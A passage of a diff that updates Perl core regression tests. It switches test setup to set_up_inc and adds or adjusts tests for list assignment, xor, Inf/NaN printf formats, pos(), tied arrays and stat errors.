ok( eq_hash( \%h, {1 => undef, 3 => 4} ), "correct hash" );
is( $x, undef, "correct scalar" );
@@ -475,7 +472,7 @@ SKIP: {
# ($x,$y,$z,...) = (1);
{
my ($x,$y,$z,@a,%h);
- is( join(':', ($x, $y, %h) = (1)), '1',
+ is( join(':', map $_ // 'undef', (($x, $y, %h) = (1))), '1:undef',
'only assigned elements are returned in list context');
is( join(':', ($x, $y, %h) = (1,1)), '1:1',
'only assigned elements are returned in list context');
@@ -485,11 +482,11 @@ SKIP: {
is( join(':', ($x, $y, %h) = (1,1,1,1)), '1:1:1:1',
'only assigned elements are returned in list context');
is( join(':', map $_//'undef', ($x, %h, $y) = (1,2,3,4)),
- '1:2:3:4:undef',
+ '1:2:3:4:undef:undef',
'only assigned elements are returned in list context');
- is( join(':', ($x, $y, @h) = (1)), '1',
+ is( join(':', map $_//'undef', ($x, $y, @h) = (1)), '1:undef',
'only assigned elements are returned in list context');
- is( join(':', ($x, @h, $y) = (1,2,3,4)), '1:2:3:4',
+ is( join(':', map $_//'undef', ($x, @h, $y) = (1,2,3,4)), '1:2:3:4:undef',
'only assigned elements are returned in list context');
}
@@ -523,14 +520,14 @@ SKIP: {
"returned values are not aliased to RHS of assignment in lvalue sub");
$_++ foreach ($x,$y,%h,$z) = (0);
- ok( eq_array([$x,$y,%h,$z], [1,undef,undef]), "only assigned values are returned" );
+ ok( eq_array([$x,$y,%h,$z], [1,1,1]), "all assigned values are returned" );
$_++ foreach ($x,$y,%h,$z) = (0,1);
- ok( eq_array([$x,$y,%h,$z], [1,2,undef]), "only assigned values are returned" );
+ ok( eq_array([$x,$y,%h,$z], [1,2,1]), "all assigned values are returned" );
no warnings 'misc'; # suppress oddball warnings
$_++ foreach ($x,$y,%h,$z) = (0,1,2);
- ok( eq_array([$x,$y,%h,$z], [1,2,2,1,undef]), "only assigned values are returned" );
+ ok( eq_array([$x,$y,%h,$z], [1,2,2,1,1]), "all assigned values are returned" );
}
diff --git a/gnu/usr.bin/perl/t/op/infnan.t b/gnu/usr.bin/perl/t/op/infnan.t
index dc1ff22cb39..70c75f3a485 100644
--- a/gnu/usr.bin/perl/t/op/infnan.t
+++ b/gnu/usr.bin/perl/t/op/infnan.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
@@ -16,6 +16,9 @@ BEGIN {
# but Inf is completely broken (e.g. Inf + 0 -> NaN).
skip_all "$^O with long doubles does not have sane inf/nan";
}
+ unless ($Config{d_double_has_inf} && $Config{d_double_has_nan}) {
+ skip_all "the doublekind $Config{doublekind} does not have inf/nan";
+ }
}
my $PInf = "Inf" + 0;
@@ -35,7 +38,7 @@ my @NaN = ("NAN", "nan", "qnan", "SNAN", "NanQ", "NANS",
"1.#QNAN", "+1#SNAN", "-1.#NAN", "1#IND", "1.#IND00",
"NAN(123)");
-my @printf_fmt = qw(e f g a d u o i b x p);
+my @printf_fmt = qw(e f g a d u o i b x);
my @packi_fmt = qw(c C s S l L i I n N v V j J w W U);
my @packf_fmt = qw(f d F);
my @packs_fmt = qw(a4 A4 Z5 b20 B20 h10 H10 u);
@@ -525,4 +528,38 @@ cmp_ok('-1e-9999', '==', 0, "underflow to 0 (runtime) from neg");
}
}
+# Size qualifiers shouldn't affect printing Inf/Nan
+#
+# Prior to the commit which introduced these tests and the fix,
+# the code path taken when int-ish formats saw an Inf/Nan was to
+# jump to the floating-point handler, but then that would
+# warn about (valid) qualifiers.
+
+{
+ my @w;
+ local $SIG{__WARN__} = sub { push @w, $_[0] };
+
+ for my $format (qw(B b c D d i O o U u X x)) {
+ # skip unportable: j L q
+ for my $size (qw(hh h l ll t z)) {
+ for my $num ($NInf, $PInf, $NaN) {
+ @w = ();
+ my $res = eval { sprintf "%${size}${format}", $num; };
+ my $desc = "sprintf(\"%${size}${format}\", $num)";
+ if ($format eq 'c') {
+ like($@, qr/Cannot printf $num with 'c'/, "$desc: like");
+ }
+ else {
+ is($res, $num, "$desc: equality");
+ }
+
+ is (@w, 0, "$desc: warnings")
+ or do {
+ diag("got warning: [$_]") for map { chomp; $_} @w;
+ };
+ }
+ }
+ }
+}
+
done_testing();
diff --git a/gnu/usr.bin/perl/t/op/kill0.t b/gnu/usr.bin/perl/t/op/kill0.t
index 7f6e6ecb79c..402916edc6c 100644
--- a/gnu/usr.bin/perl/t/op/kill0.t
+++ b/gnu/usr.bin/perl/t/op/kill0.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
BEGIN {
diff --git a/gnu/usr.bin/perl/t/op/lfs.t b/gnu/usr.bin/perl/t/op/lfs.t
index acf9fe801fc..1ddfd13ccdd 100644
--- a/gnu/usr.bin/perl/t/op/lfs.t
+++ b/gnu/usr.bin/perl/t/op/lfs.t
@@ -4,9 +4,9 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
- require Config;
+ set_up_inc('../lib');
+ require Config;
# Don't bother if there are no quad offsets.
skip_all('no 64-bit file offsets')
if $Config::Config{lseeksize} < 8;
diff --git a/gnu/usr.bin/perl/t/op/lock.t b/gnu/usr.bin/perl/t/op/lock.t
index c40ec4c9fd0..972fc0efb37 100644
--- a/gnu/usr.bin/perl/t/op/lock.t
+++ b/gnu/usr.bin/perl/t/op/lock.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = qw(. ../lib);
require './test.pl';
+ set_up_inc( qw(. ../lib) );
}
plan tests => 5;
diff --git a/gnu/usr.bin/perl/t/op/lop.t b/gnu/usr.bin/perl/t/op/lop.t
index fe1c4326c98..2f1ad2054cd 100644
--- a/gnu/usr.bin/perl/t/op/lop.t
+++ b/gnu/usr.bin/perl/t/op/lop.t
@@ -1,16 +1,16 @@
#!./perl
#
-# test the logical operators '&&', '||', '!', 'and', 'or', 'not'
+# test the logical operators '&&', '||', '!', 'and', 'or', , 'xor', 'not'
#
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
-plan tests => 23;
+plan tests => 33;
for my $i (undef, 0 .. 2, "", "0 but true") {
my $true = 1;
@@ -82,3 +82,26 @@ is( $i, 11, 'negation precedence with &&, multiple operands' );
$i = !do { "str" } && !$x;
is( $i, '', 'neg-do-const on lhs of && with non-foldable neg-true on rhs' );
}
+
+# RT #131820
+#
+# It turns out that in 2017, 23 years after the release of perl5,
+# the 'xor' logical operator was still untested in core.
+
+for my $test (
+ [ 0, 0, '' ],
+ [ 0, 1, 1 ],
+ [ 1, 0, 1 ],
+ [ 1, 1, '' ],
+
+ [ 0, 2, 1 ],
+ [ 2, 0, 1 ],
+ [ 2, 2, '' ],
+
+ [ 0, 3, 1 ],
+ [ 3, 0, 1 ],
+ [ 3, 4, '' ],
+) {
+ my ($a,$b, $exp) = @$test;
+ is(($a xor $b), $exp, "($a xor $b) == '$exp'");
+}
diff --git a/gnu/usr.bin/perl/t/op/lvref.t b/gnu/usr.bin/perl/t/op/lvref.t
index 3e65198d664..28adc6ad239 100644
--- a/gnu/usr.bin/perl/t/op/lvref.t
+++ b/gnu/usr.bin/perl/t/op/lvref.t
@@ -4,7 +4,7 @@ BEGIN {
set_up_inc("../lib");
}
-plan 153;
+plan 156;
eval '\$x = \$y';
like $@, qr/^Experimental aliasing via reference not enabled/,
@@ -488,6 +488,10 @@ eval '$foo ? \%{"42"} : \%43 = 42';
like $@,
qr/^Can't modify reference to hash dereference in scalar assignment a/,
"Can't modify ref to whatever in scalar assignment via cond expr";
+eval '\$0=~y///=0';
+like $@,
+ qr#^Can't modify transliteration \(tr///\) in scalar assignment a#,
+ "Can't modify transliteration (tr///) in scalar assignment";
# Miscellaneous
@@ -590,3 +594,12 @@ SKIP: {
# Used to fail an assertion [perl #123821]
eval '\(&$0)=0';
+pass("RT #123821");
+
+# Used to fail an assertion [perl #128252]
+{
+ no feature 'refaliasing';
+ use warnings;
+ eval q{sub{\@0[0]=0};};
+ pass("RT #128252");
+}
diff --git a/gnu/usr.bin/perl/t/op/multideref.t b/gnu/usr.bin/perl/t/op/multideref.t
index daf147d8988..20ba1ca614f 100644
--- a/gnu/usr.bin/perl/t/op/multideref.t
+++ b/gnu/usr.bin/perl/t/op/multideref.t
@@ -18,7 +18,7 @@ BEGIN {
use warnings;
use strict;
-plan 58;
+plan 63;
# check that strict refs hint is handled
@@ -205,3 +205,31 @@ sub defer {}
or diag("eval gave: $@");
is($warn, "", "#123609: warn");
}
+
+# RT #130727
+# a [ah]elem op can be both OPpLVAL_INTRO and OPpDEREF. It may not make
+# much sense, but it shouldn't fail an assert.
+
+{
+ my @x;
+ eval { @{local $x[0][0]} = 1; };
+ like $@, qr/Can't use an undefined value as an ARRAY reference/,
+ "RT #130727 error";
+ ok !defined $x[0][0],"RT #130727 array not autovivified";
+
+ eval { @{1, local $x[0][0]} = 1; };
+ like $@, qr/Can't use an undefined value as an ARRAY reference/,
+ "RT #130727 part 2: error";
+ ok !defined $x[0][0],"RT #130727 part 2: array not autovivified";
+
+}
+
+# RT #131627: assertion failure on OPf_PAREN on OP_GV
+{
+ my @x = (10..12);
+ our $rt131627 = 1;
+
+ no strict qw(refs vars);
+ is $x[qw(rt131627)->$*], 11, 'RT #131627: $a[qw(var)->$*]';
+}
+
diff --git a/gnu/usr.bin/perl/t/op/not.t b/gnu/usr.bin/perl/t/op/not.t
index 17f7a36d6b4..48a01683924 100755
--- a/gnu/usr.bin/perl/t/op/not.t
+++ b/gnu/usr.bin/perl/t/op/not.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
plan tests => 24;
diff --git a/gnu/usr.bin/perl/t/op/numconvert.t b/gnu/usr.bin/perl/t/op/numconvert.t
index bfdb4880b2d..2fbffa07660 100644
--- a/gnu/usr.bin/perl/t/op/numconvert.t
+++ b/gnu/usr.bin/perl/t/op/numconvert.t
@@ -37,8 +37,11 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ if (pack("d", 1) =~ /^[\x80\10]\x40/) {
+ skip_all("VAX float cannot do infinity");
+ }
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/op/or.t b/gnu/usr.bin/perl/t/op/or.t
index 9e7de4c2bd1..503dd57e322 100644
--- a/gnu/usr.bin/perl/t/op/or.t
+++ b/gnu/usr.bin/perl/t/op/or.t
@@ -4,7 +4,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
+ require './test.pl';
+ set_up_inc('../lib');
}
@@ -23,7 +24,6 @@ sub FETCH {
package main;
-require './test.pl';
plan( tests => 14 );
diff --git a/gnu/usr.bin/perl/t/op/pos.t b/gnu/usr.bin/perl/t/op/pos.t
index 04b527246d8..9d9c3d5058b 100644
--- a/gnu/usr.bin/perl/t/op/pos.t
+++ b/gnu/usr.bin/perl/t/op/pos.t
@@ -2,11 +2,11 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
-plan tests => 29;
+plan tests => 33;
$x='banana';
$x=~/.a/g;
@@ -20,7 +20,7 @@ sub f { my $p=$_[0]; return $p }
$x=~/.a/g;
is(f(pos($x)), 4, "matching again, pos() next leaves off at offset 4");
-# Is pos() set inside //g? (bug id 19990615.008)
+# Is pos() set inside //g? (bug id 19990615.008 (#874))
$x = "test string?"; $x =~ s/\w/pos($x)/eg;
is($x, "0123 5678910?", "pos() set inside //g");
@@ -131,3 +131,31 @@ for my $one(pos $x) {
'no assertion failure when getting pos clobbers ref with undef';
}
}
+
+{
+ # RT # 127518
+ my $x = "\N{U+10000}abc";
+ my %expected = (
+ chars => { length => 4, pos => 2 },
+ bytes => { length => 7, pos => 5 },
+ );
+ my %observed;
+ $observed{chars}{length} = length($x);
+ $x =~ m/a/g;
+ $observed{chars}{pos} = pos($x);
+
+ {
+ use bytes;
+ $observed{bytes}{length} = length($x);
+ $observed{bytes}{pos} = pos($x);
+ }
+
+ is( $observed{chars}{length}, $expected{chars}{length},
+ "Got expected length in chars");
+ is( $observed{chars}{pos}, $expected{chars}{pos},
+ "Got expected pos in chars");
+ is( $observed{bytes}{length}, $expected{bytes}{length},
+ "Got expected length in bytes");
+ is( $observed{bytes}{pos}, $expected{bytes}{pos},
+ "Got expected pos in bytes");
+}
diff --git a/gnu/usr.bin/perl/t/op/pow.t b/gnu/usr.bin/perl/t/op/pow.t
index 4cfeed1e631..e9608ff2b84 100644
--- a/gnu/usr.bin/perl/t/op/pow.t
+++ b/gnu/usr.bin/perl/t/op/pow.t
@@ -3,8 +3,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
# This calculation ought to be within 0.001 of the right answer.
diff --git a/gnu/usr.bin/perl/t/op/setpgrpstack.t b/gnu/usr.bin/perl/t/op/setpgrpstack.t
index b384138dacc..588c8b9d4dd 100755
--- a/gnu/usr.bin/perl/t/op/setpgrpstack.t
+++ b/gnu/usr.bin/perl/t/op/setpgrpstack.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
skip_all_without_config('d_setpgrp');
}
diff --git a/gnu/usr.bin/perl/t/op/stash_parse_gv.t b/gnu/usr.bin/perl/t/op/stash_parse_gv.t
new file mode 100644
index 00000000000..05694ca8ce0
--- /dev/null
+++ b/gnu/usr.bin/perl/t/op/stash_parse_gv.t
@@ -0,0 +1,31 @@
+#!./perl
+
+BEGIN {
+ chdir 't' if -d 't';
+ require "./test.pl";
+ set_up_inc(qw(../lib));
+}
+
+plan( tests => 5 );
+
+my $long = 'x' x 100;
+my $short = 'abcd';
+
+my @tests = (
+ [ $long, 'long package name: one word' ],
+ [ join( '::', $long, $long ), 'long package name: multiple words' ],
+ [ join( q['], $long, $long ), q[long package name: multiple words using "'" separator] ],
+ [ join( '::', $long, $short, $long ), 'long & short package name: multiple words' ],
+ [ join( q['], $long, $short, $long ), q[long & short package name: multiple words using "'" separator] ],
+);
+
+foreach my $t (@tests) {
+ my ( $sub, $name ) = @$t;
+
+ fresh_perl_is(
+ qq[sub $sub { print qq[ok\n]} &{"$sub"} ],
+ q[ok],
+ { switches => ['-w'] },
+ $name
+ );
+}
diff --git a/gnu/usr.bin/perl/t/op/stat_errors.t b/gnu/usr.bin/perl/t/op/stat_errors.t
new file mode 100644
index 00000000000..3943332f696
--- /dev/null
+++ b/gnu/usr.bin/perl/t/op/stat_errors.t
@@ -0,0 +1,58 @@
+#!./perl
+
+BEGIN {
+ chdir 't' if -d 't';
+ require './test.pl';
+ set_up_inc('../lib');
+ skip_all_if_miniperl("miniperl can't load PerlIO::scalar");
+}
+
+plan(tests => 2*11*29);
+
+use Errno qw(EBADF ENOENT);
+
+open(SCALARFILE, "<", \"wibble") or die $!; # needs PerlIO::scalar
+open(CLOSEDFILE, "<", "./test.pl") or die $!;
+close(CLOSEDFILE) or die $!;
+opendir(CLOSEDDIR, "../lib") or die $!;
+closedir(CLOSEDDIR) or die $!;
+
+foreach my $op (
+ qw(stat lstat),
+ (map { "-$_" } qw(r w x o R W X O e z s f d l p S b c t u g k T B M A C)),
+) {
+ foreach my $arg (
+ (map { ($_, "\\*$_") }
+ qw(NEVEROPENED SCALARFILE CLOSEDFILE CLOSEDDIR _)),
+ "\"tmpnotexist\"",
+ ) {
+ my $argdesc = $arg;
+ if ($arg eq "_") {
+ my @z = lstat "tmpnotexist";
+ $argdesc .= " with prior stat fail";
+ }
+ SKIP: {
+ if ($op eq "-l" && $arg =~ /\A\\/) {
+ # The op weirdly stringifies the globref and uses it as
+ # a filename, rather than treating it as a file handle.
+ # That might be a bug, but while that behaviour exists it
+ # needs to be exempted from these tests.
+ skip "-l on globref", 2;
+ }
+ if ($op eq "-t" && $arg eq "\"tmpnotexist\"") {
+ # The op doesn't operate on filenames.
+ skip "-t on filename", 2;
+ }
+ $! = 0;
+ my $res = eval "$op $arg";
+ my $err = $!;
+ is $res, $op =~ /\A-/ ? undef : !!0, "result of $op $arg";
+ is 0+$err,
+ $arg eq "\"tmpnotexist\"" ||
+ ($op =~ /\A-[TB]\z/ && $arg =~ /_\z/) ? ENOENT : EBADF,
+ "error from $op $arg";
+ }
+ }
+}
+
+1;
diff --git a/gnu/usr.bin/perl/t/op/studytied.t b/gnu/usr.bin/perl/t/op/studytied.t
index 62f1ac9ad6f..00cf8b0a885 100644
--- a/gnu/usr.bin/perl/t/op/studytied.t
+++ b/gnu/usr.bin/perl/t/op/studytied.t
@@ -2,8 +2,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
use strict;
diff --git a/gnu/usr.bin/perl/t/op/tiearray.t b/gnu/usr.bin/perl/t/op/tiearray.t
index 99b7938487a..1de4611bd2e 100644
--- a/gnu/usr.bin/perl/t/op/tiearray.t
+++ b/gnu/usr.bin/perl/t/op/tiearray.t
@@ -2,101 +2,90 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
}
+plan(tests => 75);
+
my %seen;
package Implement;
-sub TIEARRAY
-{
- $seen{'TIEARRAY'}++;
- my ($class,@val) = @_;
- return bless \@val,$class;
+sub TIEARRAY {
+ $seen{'TIEARRAY'}++;
+ my ($class,@val) = @_;
+ return bless \@val,$class;
}
-sub STORESIZE
-{
- $seen{'STORESIZE'}++;
- my ($ob,$sz) = @_;
- return $#{$ob} = $sz-1;
+sub STORESIZE {
+ $seen{'STORESIZE'}++;
+ my ($ob,$sz) = @_;
+ return $#{$ob} = $sz-1;
}
-sub EXTEND
-{
- $seen{'EXTEND'}++;
- my ($ob,$sz) = @_;
- return @$ob = $sz;
+sub EXTEND {
+ $seen{'EXTEND'}++;
+ my ($ob,$sz) = @_;
+ return @$ob = $sz;
}
-sub FETCHSIZE
-{
- $seen{'FETCHSIZE'}++;
- return scalar(@{$_[0]});
+sub FETCHSIZE {
+ $seen{'FETCHSIZE'}++;
+ return scalar(@{$_[0]});
}
-sub FETCH
-{
- $seen{'FETCH'}++;
- my ($ob,$id) = @_;
- return $ob->[$id];
+sub FETCH {
+ $seen{'FETCH'}++;
+ my ($ob,$id) = @_;
+ return $ob->[$id];
}
-sub STORE
-{
- $seen{'STORE'}++;
- my ($ob,$id,$val) = @_;
- $ob->[$id] = $val;
-}
+sub STORE {
+ $seen{'STORE'}++;
+ my ($ob,$id,$val) = @_;
+ $ob->[$id] = $val;
+}
-sub UNSHIFT
-{
- $seen{'UNSHIFT'}++;
- my $ob = shift;
- unshift(@$ob,@_);
-}
+sub UNSHIFT {
+ $seen{'UNSHIFT'}++;
+ my $ob = shift;
+ unshift(@$ob,@_);
+}
-sub PUSH
-{
- $seen{'PUSH'}++;
- my $ob = shift;;
- push(@$ob,@_);
-}
+sub PUSH {
+ $seen{'PUSH'}++;
+ my $ob = shift;;
+ push(@$ob,@_);
+}
-sub CLEAR
-{
- $seen{'CLEAR'}++;
- @{$_[0]} = ();
+sub CLEAR {
+ $seen{'CLEAR'}++;
+ @{$_[0]} = ();
}
-sub DESTROY
-{
- $seen{'DESTROY'}++;
+sub DESTROY {
+ $seen{'DESTROY'}++;
}
-sub POP
-{
- $seen{'POP'}++;
- my ($ob) = @_;
- return pop(@$ob);
+sub POP {
+ $seen{'POP'}++;
+ my ($ob) = @_;
+ return pop(@$ob);
}
-sub SHIFT
-{
- $seen{'SHIFT'}++;
- my ($ob) = @_;
- return shift(@$ob);
+sub SHIFT {
+ $seen{'SHIFT'}++;
+ my ($ob) = @_;
+ return shift(@$ob);
}
-sub SPLICE
-{
- $seen{'SPLICE'}++;
- my $ob = shift;
- my $off = @_ ? shift : 0;
- my $len = @_ ? shift : @$ob-1;
- return splice(@$ob,$off,$len,@_);
+sub SPLICE {
+ $seen{'SPLICE'}++;
+ my $ob = shift;
+ my $off = @_ ? shift : 0;
+ my $len = @_ ? shift : @$ob-1;
+ return splice(@$ob,$off,$len,@_);
}
package NegIndex; # 20020220 MJD
@@ -107,31 +96,31 @@ my $offset = 2;
$NegIndex::NEGATIVE_INDICES = 1;
sub FETCH {
- my ($ob,$id) = @_;
-# print "# FETCH @_\n";
- $id += $offset;
- $ob->[$id];
+ my ($ob,$id) = @_;
+ #print "# FETCH @_\n";
+ $id += $offset;
+ $ob->[$id];
}
sub STORE {
- my ($ob,$id,$value) = @_;
-# print "# STORE @_\n";
- $id += $offset;
- $ob->[$id] = $value;
+ my ($ob,$id,$value) = @_;
+ #print "# STORE @_\n";
+ $id += $offset;
+ $ob->[$id] = $value;
}
sub DELETE {
- my ($ob,$id) = @_;
-# print "# DELETE @_\n";
- $id += $offset;
- delete $ob->[$id];
+ my ($ob,$id) = @_;
+ #print "# DELETE @_\n";
+ $id += $offset;
+ delete $ob->[$id];
}
sub EXISTS {
- my ($ob,$id) = @_;
-# print "# EXISTS @_\n";
- $id += $offset;
- exists $ob->[$id];
+ my ($ob,$id) = @_;
+ #print "# EXISTS @_\n";
+ $id += $offset;
+ exists $ob->[$id];
}
#
@@ -145,150 +134,157 @@ sub TIEARRAY { bless [] }
sub FETCH { }
sub FETCHSIZE { -1 }
-package main;
-
-plan(tests => 69);
-
-{my @ary;
-{ my $ob = tie @ary,'Implement',3,2,1;
- ok($ob);
- is(tied(@ary), $ob);
-}
-
-is(@ary, 3);
-is($#ary, 2);
-is(join(':',@ary), '3:2:1');
-cmp_ok($seen{'FETCH'}, '>=', 3);
-
-@ary = (1,2,3);
-
-cmp_ok($seen{'STORE'}, '>=', 3);
-is(join(':',@ary), '1:2:3');
-
-{my @thing = @ary;
-is(join(':',@thing), '1:2:3');
-
-tie @thing,'Implement';
-@thing = @ary;
-is(join(':',@thing), '1:2:3');
-}
-
-is(pop(@ary), 3);
-is($seen{'POP'}, 1);
-is(join(':',@ary), '1:2');
-
-is(push(@ary,4), 3);
-is($seen{'PUSH'}, 1);
-is(join(':',@ary), '1:2:4');
-
-my @x = splice(@ary,1,1,7);
-
-is($seen{'SPLICE'}, 1);
-is(@x, 1);
-is($x[0], 2);
-is(join(':',@ary), '1:7:4');
-
-is(shift(@ary), 1);
-is($seen{'SHIFT'}, 1);
-is(join(':',@ary), '7:4');
-
-my $n = unshift(@ary,5,6);
-is($seen{'UNSHIFT'}, 1);
-is($n, 4);
-is(join(':',@ary), '5:6:7:4');
-
-@ary = split(/:/,'1:2:3');
-is(join(':',@ary), '1:2:3');
-
-my $t = 0;
-foreach $n (@ary)
- {
- is($n, ++$t);
- }
-
-# (30-33) 20020303 mjd-perl-patch+@plover.com
-@ary = ();
-$seen{POP} = 0;
-pop @ary; # this didn't used to call POP at all
-is($seen{POP}, 1);
-$seen{SHIFT} = 0;
-shift @ary; # this didn't used to call SHIFT at all
-is($seen{SHIFT}, 1);
-$seen{PUSH} = 0;
-my $got = push @ary; # this didn't used to call PUSH at all
-is($got, 0);
-is($seen{PUSH}, 1);
-$seen{UNSHIFT} = 0;
-$got = unshift @ary; # this didn't used to call UNSHIFT at all
-is($got, 0);
-is($seen{UNSHIFT}, 1);
-
-@ary = qw(3 2 1);
-is(join(':',@ary), '3:2:1');
-
-$#ary = 1;
-is($seen{'STORESIZE'}, 1, 'seen STORESIZE');
-is(join(':',@ary), '3:2');
-
-sub arysize :lvalue { $#ary }
-arysize()--;
-is($seen{'STORESIZE'}, 2, 'seen STORESIZE');
-is(join(':',@ary), '3');
-
-untie @ary;
+package main;
+{
+ $seen{'DESTROY'} = 0;
+ my @ary;
+
+ {
+ my $ob = tie @ary,'Implement',3,2,1;
+ ok($ob);
+ is(tied(@ary), $ob);
+ }
+
+ is(@ary, 3);
+ is($#ary, 2);
+ is(join(':',@ary), '3:2:1');
+ cmp_ok($seen{'FETCH'}, '>=', 3);
+
+ @ary = (1,2,3);
+
+ cmp_ok($seen{'STORE'}, '>=', 3);
+ is(join(':',@ary), '1:2:3');
+
+ {
+ my @thing = @ary;
+ is(join(':',@thing), '1:2:3');
+
+ tie @thing,'Implement';
+ @thing = @ary;
+ is(join(':',@thing), '1:2:3');
+ }
+ is($seen{'DESTROY'}, 1, "thing freed");
+
+ is(pop(@ary), 3);
+ is($seen{'POP'}, 1);
+ is(join(':',@ary), '1:2');
+
+ is(push(@ary,4), 3);
+ is($seen{'PUSH'}, 1);
+ is(join(':',@ary), '1:2:4');
+
+ my @x = splice(@ary,1,1,7);
+
+ is($seen{'SPLICE'}, 1);
+ is(@x, 1);
+ is($x[0], 2);
+ is(join(':',@ary), '1:7:4');
+
+ is(shift(@ary), 1);
+ is($seen{'SHIFT'}, 1);
+ is(join(':',@ary), '7:4');
+
+ my $n = unshift(@ary,5,6);
+ is($seen{'UNSHIFT'}, 1);
+ is($n, 4);
+ is(join(':',@ary), '5:6:7:4');
+
+ @ary = split(/:/,'1:2:3');
+ is(join(':',@ary), '1:2:3');
+
+ my $t = 0;
+ foreach $n (@ary) {
+ is($n, ++$t);
+ }
+
+ # (30-33) 20020303 mjd-perl-patch+@plover.com
+ @ary = ();
+ $seen{POP} = 0;
+ pop @ary; # this didn't used to call POP at all
+ is($seen{POP}, 1);
+ $seen{SHIFT} = 0;
+ shift @ary; # this didn't used to call SHIFT at all
+ is($seen{SHIFT}, 1);
+ $seen{PUSH} = 0;
+ my $got = push @ary; # this didn't used to call PUSH at all
+ is($got, 0);
+ is($seen{PUSH}, 1);
+ $seen{UNSHIFT} = 0;
+ $got = unshift @ary; # this didn't used to call UNSHIFT at all
+ is($got, 0);
+ is($seen{UNSHIFT}, 1);
+
+ @ary = qw(3 2 1);
+ is(join(':',@ary), '3:2:1');
+
+ $#ary = 1;
+ is($seen{'STORESIZE'}, 1, 'seen STORESIZE');
+ is(join(':',@ary), '3:2');
+
+ sub arysize :lvalue { $#ary }
+ arysize()--;
+ is($seen{'STORESIZE'}, 2, 'seen STORESIZE');
+ is(join(':',@ary), '3');
+
+ untie @ary;
}
+is($seen{'DESTROY'}, 2, "ary freed");
# 20020401 mjd-perl-patch+@plover.com
# Thanks to Dave Mitchell for the small test case and the fix
{
- my @a;
-
- sub X::TIEARRAY { bless {}, 'X' }
-
- sub X::SPLICE {
- do '/dev/null';
- die;
- }
-
- tie @a, 'X';
- eval { splice(@a) };
- # If we survived this far.
- pass();
+ my @a;
+
+ sub X::TIEARRAY { bless {}, 'X' }
+
+ sub X::SPLICE {
+ do '/dev/null';
+ die;
+ }
+
+ tie @a, 'X';
+ eval { splice(@a) };
+ # If we survived this far.
+ pass();
}
-{ # 20020220 mjd-perl-patch+@plover.com
- my @n;
- tie @n => 'NegIndex', ('A' .. 'E');
-
- # FETCH
- is($n[0], 'C');
- is($n[1], 'D');
- is($n[2], 'E');
- is($n[-1], 'B');
- is($n[-2], 'A');
-
- # STORE
- $n[-2] = 'a';
- is($n[-2], 'a');
- $n[-1] = 'b';
- is($n[-1], 'b');
- $n[0] = 'c';
- is($n[0], 'c');
- $n[1] = 'd';
- is($n[1], 'd');
- $n[2] = 'e';
- is($n[2], 'e');
-
- # DELETE and EXISTS
- for (-2 .. 2) {
- ok($n[$_]);
- delete $n[$_];
- is(defined($n[$_]), '');
- is(exists($n[$_]), '');
- }
+# 20020220 mjd-perl-patch+@plover.com
+{
+ $seen{'DESTROY'} = 0;
+
+ my @n;
+ tie @n => 'NegIndex', ('A' .. 'E');
+
+ # FETCH
+ is($n[0], 'C');
+ is($n[1], 'D');
+ is($n[2], 'E');
+ is($n[-1], 'B');
+ is($n[-2], 'A');
+
+ # STORE
+ $n[-2] = 'a';
+ is($n[-2], 'a');
+ $n[-1] = 'b';
+ is($n[-1], 'b');
+ $n[0] = 'c';
+ is($n[0], 'c');
+ $n[1] = 'd';
+ is($n[1], 'd');
+ $n[2] = 'e';
+ is($n[2], 'e');
+
+ # DELETE and EXISTS
+ for (-2 .. 2) {
+ ok($n[$_]);
+ delete $n[$_];
+ is(defined($n[$_]), '');
+ is(exists($n[$_]), '');
+ }
}
+is($seen{'DESTROY'}, 1, "n freed");
{
tie my @dummy, "NegFetchsize";
@@ -297,4 +293,34 @@ untie @ary;
" - croak on negative FETCHSIZE");
}
-is($seen{'DESTROY'}, 3);
+{
+ # check that a tied element assigned to an array doesn't remain tied
+
+ package Magical;
+
+ my $i = 10;
+
+ sub TIEARRAY { bless [1] }
+ sub TIEHASH { bless [1] }
+ sub FETCHSIZE { 1; }
+ sub FETCH { $i++ }
+ sub STORE { $_[0][0] = $_[1]; }
+ sub FIRSTKEY { 0 }
+ sub NEXTKEY { }
+
+ package main;
+
+ my (@a, @b);
+ tie @a, 'Magical';
+ @b = @a;
+ is ($b[0], 10, "Magical array fetch 1");
+ $b[0] = 100;
+ is ($b[0], 100, "Magical array fetch 2");
+
+ my (%a, %b);
+ tie %a, 'Magical';
+ %b = %a;
+ is ($b{0}, 11, "Magical hash fetch 1");
+ $b{0} = 100;
+ is ($b{0}, 100, "Magical hash fetch 2");
+}
diff --git a/gnu/usr.bin/perl/t/op/waitpid.t b/gnu/usr.bin/perl/t/op/waitpid.t
index aff2b99a0e2..497fc26cb68 100644
--- a/gnu/usr.bin/perl/t/op/waitpid.t
+++ b/gnu/usr.bin/perl/t/op/waitpid.t
@@ -4,8 +4,8 @@
BEGIN {
chdir 't' if -d 't';
- @INC = '../lib';
require './test.pl';
+ set_up_inc('../lib');
require Config;
skip_all('no Errno')
unless eval 'use Errno qw(EINVAL); 1';
diff --git a/gnu/usr.bin/perl/t/op/yadayada.t b/gnu/usr.bin/perl/t/op/yadayada.t
